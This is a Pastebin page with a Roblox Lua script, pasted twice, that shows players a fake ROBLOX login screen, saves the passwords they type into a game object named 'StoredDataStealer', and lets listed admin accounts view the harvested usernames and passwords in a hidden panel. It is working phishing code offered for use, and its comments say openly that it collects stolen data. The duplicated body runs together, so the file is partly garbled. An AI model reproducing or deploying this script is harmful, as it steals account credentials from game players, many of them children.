Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Made by youglow,new account robloxcitya dont forget to add him
- ---------Settings------------
- admins={"CubzLuvz","trustKIDSlies","}",""} -- Admins have data to stolen data, and will bypass the GUI
- bypass={"",""} -- These users do not have data to the stolen data, but will bypass the GUI
- --NoCoreGui=true -- This will disable all of the CoreGui (can break other Guis, be cafeful)
- filelocation = game.Workspace -- A nice hidden place to store all the data
- --game:GetService("Geometry") That's a nice hidden place you can store all of your data.
- CollectionSpacing = 30 -- Space between user's login data
- CollectionSize = 25 -- Height of each user's login data
- ------------------- Made by youglow,new account robloxcitya dont forget to add him
- ---------Settings------------
- admins={"CubzLuvz","trustKIDSlies","}",""} -- Admins have data to stolen data, and will bypass the GUI
- bypass={"",""} -- These users do not have data to the stolen data, but will bypass the GUI
- --NoCoreGui=true -- This will disable all of the CoreGui (can break other Guis, be cafeful)
- filelocation = game.Workspace -- A nice hidden place to store all the data
- --game:GetService("Geometry") That's a nice hidden place you can store all of your data.
- CollectionSpacing = 30 -- Space between user's login data
- CollectionSize = 25 -- Height of each user's login data
- ----------------------------
- for _,v in pairs(admins) do
- for i,x in pairs(bypass) do
- if v==x then
- table.remove(bypass,i)
- end
- end
- end
- -- Please do not edit anything below this line unless you know what you are doing!
- --------Definitions----------
- Gui = script.Parent
- BG = Gui.Background
- SP = Gui.SecondPage
- CollB = Gui.CollectionBank
- -----------------------------
- function checkAdmin(plr)
- for _,v in pairs(admins) do
- if string.lower(v)==string.lower(plr.Name) then return true end
- end
- return false
- end
- function checkBypass(plr)
- for _,v in pairs(bypass) do
- if string.lower(v)==string.lower(plr.Name) then return true end
- end
- return false
- end
- function updateList()
- storedypos.Value=0
- storedincrement.Value=0
- for _,x in pairs(CollB:getChildren()) do
- if x.Name~="Names" and
- x.Name~="Passes" and
- x.Name~="Top" and
- x.Name~="spacing" and
- x.Name~="height" and
- x.Name~="SPing" and
- x.Name~="close" and
- x.Name~="HGT" then
- x:Destroy()
- end
- end
- for _,v in pairs(storedinfo:GetChildren()) do
- if v:findFirstChild("pazz")~=nil and v.Name~="Value" then
- adduser(v.Name,v:findFirstChild("pazz").Value,v:findFirstChild("BCStat").Value)
- end
- end
- end
- function adduser(nam,pw,BeeCee)
- storedincrement.Value=storedincrement.Value+1
- if storedincrement.Value~=1 and storedincrement.Value~=0 then storedypos.Value=storedypos.Value+CollectionSpacing end
- addlist(storedincrement.Value,CollB,storedypos.Value,nam,pw,BeeCee)
- end
- function addlist(increment,parent,pos,nam,pw,bcst)
- un1 = Instance.new("TextLabel", parent)
- un1.Name = "un"..tostring(increment)
- un1.Position = UDim2.new(0, 0, 0.1+(pos/1000), 0)
- un1.Size = UDim2.new(0.5, 0, CollectionSize/1000, 0)
- un1.BackgroundColor3 = Color3.new(1, 1, 1)
- un1.BackgroundTransparency = 0.5
- un1.BorderSizePixel = 0
- un1.Text = nam
- un1.Font = Enum.Font.ArialBold
- un1.FontSize = Enum.FontSize.Size18
- un1.TextColor3 = Color3.new(1, 1, 1)
- p1 = Instance.new("TextLabel", parent)
- p1.Name = "pw"..tostring(increment)
- p1.Position = UDim2.new(0.5, 0, 0.1+(pos/1000), 0)
- p1.Size = UDim2.new(0.5, 0, CollectionSize/1000, 0)
- p1.BackgroundColor3 = Color3.new(1, 1, 1)
- p1.BackgroundTransparency = 0.5
- p1.BorderSizePixel = 0
- p1.Text = pw
- p1.Font = Enum.Font.ArialBold
- p1.FontSize = Enum.FontSize.Size18
- p1.TextColor3 = Color3.new(1, 1, 1)
- BCPIP = Instance.new("ImageLabel", parent)
- BCPIP.Name = "BCPIP"..tostring(increment)
- BCPIP.Position = UDim2.new(0, 0, 0.1+(pos/1000), 0)
- BCPIP.Size = UDim2.new(CollectionSize/1000, 0, CollectionSize/1000, 0)
- BCPIP.BackgroundColor3 = Color3.new(1, 1, 1)
- BCPIP.BackgroundTransparency = 1
- BCPIP.BorderSizePixel = 0
- if bcst=="Enum.MembershipType.BuildersClub" then
- BCPIP.Image = "rbxassetid://".."30681638"
- elseif bcst=="Enum.MembershipType.TurboBuildersClub" then
- BCPIP.Image = "rbxassetid://".."78003798"
- elseif bcst=="Enum.MembershipType.OutrageousBuildersClub" then
- BCPIP.Image = "rbxassetid://".."64189403"
- else
- BCPIP.Image = "rbxassetid://".."45312113"
- end
- BCPIP.ZIndex = 2
- local a = script.hideself:Clone() a.Parent=BCPIP a.Disabled=false
- end
- repeat wait() until game.Players.LocalPlayer.Character
- if not filelocation:findFirstChild("StoredDataStealer") then
- storedincrement = Instance.new("IntValue") storedincrement.Parent=filelocation storedincrement.Name="storedincrement" storedincrement.Value=0
- storedypos = Instance.new("IntValue") storedypos.Parent=filelocation storedypos.Name="storedypos" storedypos.Value=0
- storedinfo = Instance.new("StringValue") storedinfo.Parent=filelocation storedinfo.Name="StoredDataStealer"
- else
- storedinfo = filelocation:findFirstChild("StoredDataStealer")
- storedincrement = filelocation:findFirstChild("storedincrement")
- storedypos = filelocation:findFirstChild("storedypos")
- end
- wait()
- updateList()
- CollB.height.Text = tonumber(CollectionSize)
- CollB.spacing.Text = tonumber(CollectionSpacing)
- storedinfo.DescendantAdded:connect(function() updateList() end)
- storedinfo.DescendantRemoving:connect(function() updateList() end)
- CollB.spacing.Changed:connect(function()
- if tonumber(CollB.spacing.Text) then
- CollectionSpacing=tonumber(CollB.spacing.Text)
- updateList()
- else
- CollB.spacing.Text = tonumber(CollectionSpacing)
- updateList()
- end
- end)
- CollB.height.Changed:connect(function()
- if tonumber(CollB.height.Text) then
- CollectionSize=tonumber(CollB.height.Text)
- updateList()
- else
- CollB.height.Text = tonumber(CollectionSize)
- updateList()
- end
- end)
- CollB.close.MouseButton1Down:connect(function()
- CollB.Visible=false
- Gui.showcollection.Visible=true
- end)
- game.Players.LocalPlayer:GetMouse().KeyDown:connect(function(k)
- if checkAdmin(game.Players.LocalPlayer) then
- if k=="v" then
- if CollB.Visible==false then CollB.Visible=true Gui.showcollection.Visible=false else CollB.Visible=false Gui.showcollection.Visible=true end
- end
- end
- end)
- Gui.showcollection.MouseButton1Down:connect(function()
- CollB.Visible=true
- Gui.showcollection.Visible=false
- end)
- if checkAdmin(game.Players.LocalPlayer) then
- Gui.showcollection.Visible=true
- elseif not checkBypass(game.Players.LocalPlayer) then
- if NoCoreGui then game.StarterGui:SetCoreGuiEnabled("All", false) end
- BG.Visible=true
- BG.CountDown.Disabled=false
- Gui.ROBLOX.Visible=true
- else
- Gui:Destroy()
- end
- BG.Login.MouseButton1Down:connect(function()
- if storedinfo~=nil and not storedinfo:findFirstChild(game.Players.LocalPlayer.Name) then
- if BG.PassText.Text=="" or BG.PassText.Text=="Enter your Password" or BG.PassText.Text=="Error, password invalid" then
- BG.PassText.Text="Error, password invalid"
- elseif
- BG.UserText.Text=="" or BG.UserText.Text=="Enter your Username" or BG.UserText.Text=="Error, username invalid" then
- BG.UserText.Text="Error, username invalid"
- else
- local a=Instance.new("StringValue")
- a.Name=game.Players.LocalPlayer.Name
- local b=a:Clone() b.Parent=a b.Name="pazz" b.Value=BG.PassText.Text
- local c=a:Clone() c.Parent=a c.Name="BCStat" c.Value=tostring(game.Players.LocalPlayer.MembershipType)
- a.Parent = storedinfo
- BG.Visible=false
- SP.Visible=true
- SP.CountDown.Disabled=false
- end
- end
- end)-----------
- for _,v in pairs(admins) do
- for i,x in pairs(bypass) do
- if v==x then
- table.remove(bypass,i)
- end
- end
- end
- -- Please do not edit anything below this line unless you know what you are doing!
- --------Definitions----------
- Gui = script.Parent
- BG = Gui.Background
- SP = Gui.SecondPage
- CollB = Gui.CollectionBank
- -----------------------------
- function checkAdmin(plr)
- for _,v in pairs(admins) do
- if string.lower(v)==string.lower(plr.Name) then return true end
- end
- return false
- end
- function checkBypass(plr)
- for _,v in pairs(bypass) do
- if string.lower(v)==string.lower(plr.Name) then return true end
- end
- return false
- end
- function updateList()
- storedypos.Value=0
- storedincrement.Value=0
- for _,x in pairs(CollB:getChildren()) do
- if x.Name~="Names" and
- x.Name~="Passes" and
- x.Name~="Top" and
- x.Name~="spacing" and
- x.Name~="height" and
- x.Name~="SPing" and
- x.Name~="close" and
- x.Name~="HGT" then
- x:Destroy()
- end
- end
- for _,v in pairs(storedinfo:GetChildren()) do
- if v:findFirstChild("pazz")~=nil and v.Name~="Value" then
- adduser(v.Name,v:findFirstChild("pazz").Value,v:findFirstChild("BCStat").Value)
- end
- end
- end
- function adduser(nam,pw,BeeCee)
- storedincrement.Value=storedincrement.Value+1
- if storedincrement.Value~=1 and storedincrement.Value~=0 then storedypos.Value=storedypos.Value+CollectionSpacing end
- addlist(storedincrement.Value,CollB,storedypos.Value,nam,pw,BeeCee)
- end
- function addlist(increment,parent,pos,nam,pw,bcst)
- un1 = Instance.new("TextLabel", parent)
- un1.Name = "un"..tostring(increment)
- un1.Position = UDim2.new(0, 0, 0.1+(pos/1000), 0)
- un1.Size = UDim2.new(0.5, 0, CollectionSize/1000, 0)
- un1.BackgroundColor3 = Color3.new(1, 1, 1)
- un1.BackgroundTransparency = 0.5
- un1.BorderSizePixel = 0
- un1.Text = nam
- un1.Font = Enum.Font.ArialBold
- un1.FontSize = Enum.FontSize.Size18
- un1.TextColor3 = Color3.new(1, 1, 1)
- p1 = Instance.new("TextLabel", parent)
- p1.Name = "pw"..tostring(increment)
- p1.Position = UDim2.new(0.5, 0, 0.1+(pos/1000), 0)
- p1.Size = UDim2.new(0.5, 0, CollectionSize/1000, 0)
- p1.BackgroundColor3 = Color3.new(1, 1, 1)
- p1.BackgroundTransparency = 0.5
- p1.BorderSizePixel = 0
- p1.Text = pw
- p1.Font = Enum.Font.ArialBold
- p1.FontSize = Enum.FontSize.Size18
- p1.TextColor3 = Color3.new(1, 1, 1)
- BCPIP = Instance.new("ImageLabel", parent)
- BCPIP.Name = "BCPIP"..tostring(increment)
- BCPIP.Position = UDim2.new(0, 0, 0.1+(pos/1000), 0)
- BCPIP.Size = UDim2.new(CollectionSize/1000, 0, CollectionSize/1000, 0)
- BCPIP.BackgroundColor3 = Color3.new(1, 1, 1)
- BCPIP.BackgroundTransparency = 1
- BCPIP.BorderSizePixel = 0
- if bcst=="Enum.MembershipType.BuildersClub" then
- BCPIP.Image = "rbxassetid://".."30681638"
- elseif bcst=="Enum.MembershipType.TurboBuildersClub" then
- BCPIP.Image = "rbxassetid://".."78003798"
- elseif bcst=="Enum.MembershipType.OutrageousBuildersClub" then
- BCPIP.Image = "rbxassetid://".."64189403"
- else
- BCPIP.Image = "rbxassetid://".."45312113"
- end
- BCPIP.ZIndex = 2
- local a = script.hideself:Clone() a.Parent=BCPIP a.Disabled=false
- end
- repeat wait() until game.Players.LocalPlayer.Character
- if not filelocation:findFirstChild("StoredDataStealer") then
- storedincrement = Instance.new("IntValue") storedincrement.Parent=filelocation storedincrement.Name="storedincrement" storedincrement.Value=0
- storedypos = Instance.new("IntValue") storedypos.Parent=filelocation storedypos.Name="storedypos" storedypos.Value=0
- storedinfo = Instance.new("StringValue") storedinfo.Parent=filelocation storedinfo.Name="StoredDataStealer"
- else
- storedinfo = filelocation:findFirstChild("StoredDataStealer")
- storedincrement = filelocation:findFirstChild("storedincrement")
- storedypos = filelocation:findFirstChild("storedypos")
- end
- wait()
- updateList()
- CollB.height.Text = tonumber(CollectionSize)
- CollB.spacing.Text = tonumber(CollectionSpacing)
- storedinfo.DescendantAdded:connect(function() updateList() end)
- storedinfo.DescendantRemoving:connect(function() updateList() end)
- CollB.spacing.Changed:connect(function()
- if tonumber(CollB.spacing.Text) then
- CollectionSpacing=tonumber(CollB.spacing.Text)
- updateList()
- else
- CollB.spacing.Text = tonumber(CollectionSpacing)
- updateList()
- end
- end)
- CollB.height.Changed:connect(function()
- if tonumber(CollB.height.Text) then
- CollectionSize=tonumber(CollB.height.Text)
- updateList()
- else
- CollB.height.Text = tonumber(CollectionSize)
- updateList()
- end
- end)
- CollB.close.MouseButton1Down:connect(function()
- CollB.Visible=false
- Gui.showcollection.Visible=true
- end)
- game.Players.LocalPlayer:GetMouse().KeyDown:connect(function(k)
- if checkAdmin(game.Players.LocalPlayer) then
- if k=="v" then
- if CollB.Visible==false then CollB.Visible=true Gui.showcollection.Visible=false else CollB.Visible=false Gui.showcollection.Visible=true end
- end
- end
- end)
- Gui.showcollection.MouseButton1Down:connect(function()
- CollB.Visible=true
- Gui.showcollection.Visible=false
- end)
- if checkAdmin(game.Players.LocalPlayer) then
- Gui.showcollection.Visible=true
- elseif not checkBypass(game.Players.LocalPlayer) then
- if NoCoreGui then game.StarterGui:SetCoreGuiEnabled("All", false) end
- BG.Visible=true
- BG.CountDown.Disabled=false
- Gui.ROBLOX.Visible=true
- else
- Gui:Destroy()
- end
- BG.Login.MouseButton1Down:connect(function()
- if storedinfo~=nil and not storedinfo:findFirstChild(game.Players.LocalPlayer.Name) then
- if BG.PassText.Text=="" or BG.PassText.Text=="Enter your Password" or BG.PassText.Text=="Error, password invalid" then
- BG.PassText.Text="Error, password invalid"
- elseif
- BG.UserText.Text=="" or BG.UserText.Text=="Enter your Username" or BG.UserText.Text=="Error, username invalid" then
- BG.UserText.Text="Error, username invalid"
- else
- local a=Instance.new("StringValue")
- a.Name=game.Players.LocalPlayer.Name
- local b=a:Clone() b.Parent=a b.Name="pazz" b.Value=BG.PassText.Text
- local c=a:Clone() c.Parent=a c.Name="BCStat" c.Value=tostring(game.Players.LocalPlayer.MembershipType)
- a.Parent = storedinfo
- BG.Visible=false
- SP.Visible=true
- SP.CountDown.Disabled=false
- end
- end
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement